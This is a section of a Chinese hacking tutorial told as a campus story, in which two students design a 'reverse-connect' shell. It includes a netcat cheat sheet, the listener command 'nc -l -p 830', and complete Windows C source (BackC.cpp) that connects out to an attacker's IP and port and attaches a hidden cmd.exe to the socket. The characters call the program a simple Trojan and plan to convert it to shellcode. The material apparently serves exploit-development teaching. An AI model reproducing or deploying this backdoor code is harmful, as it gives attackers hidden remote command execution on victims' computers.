3.6.1 总体思路和实现
第二天宇强按时拨通了小倩寝室的电话,这次是小倩自己接的。
“你好啊!我是宇强。我现在你们寝室下面。”
“好,你等一会儿,我马上下来。”
过了几分钟,小倩穿了件淡蓝色的外套,背着白色书包出现在了门口。宇强暗自惊叹,“好漂亮啊!”
宇强与小倩一行走在去三教的路上。在路上他们边走边聊。
在去第三教学楼的路上,要经过一个篮球场。宇强往里面望了望,好多人呀,有打篮球的、有练习排球的、也有打羽毛球的……他们沐浴在温暖的阳光中。
在教学楼门前,宇强看见了一对老人相互搀扶着散步,头发早已花白。虽然步履蹒跚,但他们的面容非常安详,两人在一起显得是多么的自然、谐。
宇强也不禁心里一动,“和我执子之手,与之偕老的人又在哪儿呢?
……
到三教后发现上自习的人很少,教室里只有三两个人。
小倩看了几个教室,小声说道:“怎么办?教室里都有人,说话打扰别人也不好啊!”
宇强眼睛一转,说:“去教师休息室吧!课间同学们都在那儿问老师问题,我们可以去那里讨论。”
“好主意!”小倩赞同的说道。
教室休息室里摆放着桌几、椅子,还有开水,以供老师在课间休息时饮用。条件还不错!
两人坐下后,宇强说道:“其实老师已经提示很多了,我们理一下思路,就可以把它实现。”
“哦?你这么厉害。”小倩说,“我查了一下老师说的NC。任何计算机都可以用NC直接监听端口,用法是 nc -l -p port 。如果有别的计算机连接这个端口,也可以得到一个Shell。”
小知识:黑客的瑞士军刀——NC
常用的用法:输入-h可以得到帮助信息
-e prog 程序重定向,一旦连接,就执行
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w wait超时的时间
-z 将输入输出关掉——用于扫描时
“对!” 宇强说道,“那我们在攻击机上用 nc –l –p 830 监听830端口,而在目标机上运行ShellCode,其功能是主动连接我们攻击机的IP和830端口来接收命令。这就是反连的意思。”
“嗯,思路应该就是这样!”小倩说道。
“网络传输部分和正向类似,只不过ShellCode是客户端,流程应该是:”
socket()→connet(攻击机ip,端口)→send/recv()→closesocket()
“实现也比较简单,像下面这样。” 宇强边说边写。
WSAStartup(MAKEWORD(2,2),&ws);
WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
connect(s,(struct sockaddr *)&server,sizeof(server) );
“和CMD子进程连接也是一样的,或者用一个管道,或者用两个管道,或者不用管道,直接用Socket句柄来代替。” 宇强继续说,“就像下面这样:”
//CMD的输入输出句柄,都用Socket来替换
si.hStdInput = si.hStdOutput = si.hStdError = (void *)s;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
“把它们合起来就可以了吧?”小倩说。
“是啊,我们可以得到反向连接的程序(BackC.cpp),如下:”
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET s;
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立Socket
s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//连接对方830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
//反向连接!
connect(s,(struct sockaddr *)&server,sizeof(server) );
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
//CMD的输入输出句柄,都用Socket来替换
si.hStdInput = si.hStdOutput = si.hStdError = (void *)s;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
“哇,很清晰的思路嘛!”
宇强听后暗自狂喜,心想总算没有白熬至深夜两点。
“好,如果测试的话,就先执行 nc –l –p 830 来监听,然后运行程序backC.cpp。如果一切正常,就应该如图3-38所示,NC得到了一个shell。” 宇强说。
“剩下就是转换成汇编和ShellCode了。”
“这个可是苦力活啊……”小倩吐了吐舌头。
“那这样吧,我周末回家的时候生成BackAsm.cpp和BackShellCode.cpp发给老师,也帮你发一份。”
“好啊!就麻烦你了。”小倩说。
“那里,客气了。” 宇强心里高兴极了。
“这个也应该算是个木马吧?”小倩问道。
“是啊,一个简单的特洛依木马。”
“哦!特洛依木马?现在正在放《特洛依》电影呢!”小倩说,“听说很好看的,程序这件事挺麻烦你的,我请你看电影吧!”
“啊?那怎么行!” 宇强赶紧推辞。
“哎哟!别争来争去了,那我们就AA吧!”
“嗯,行!”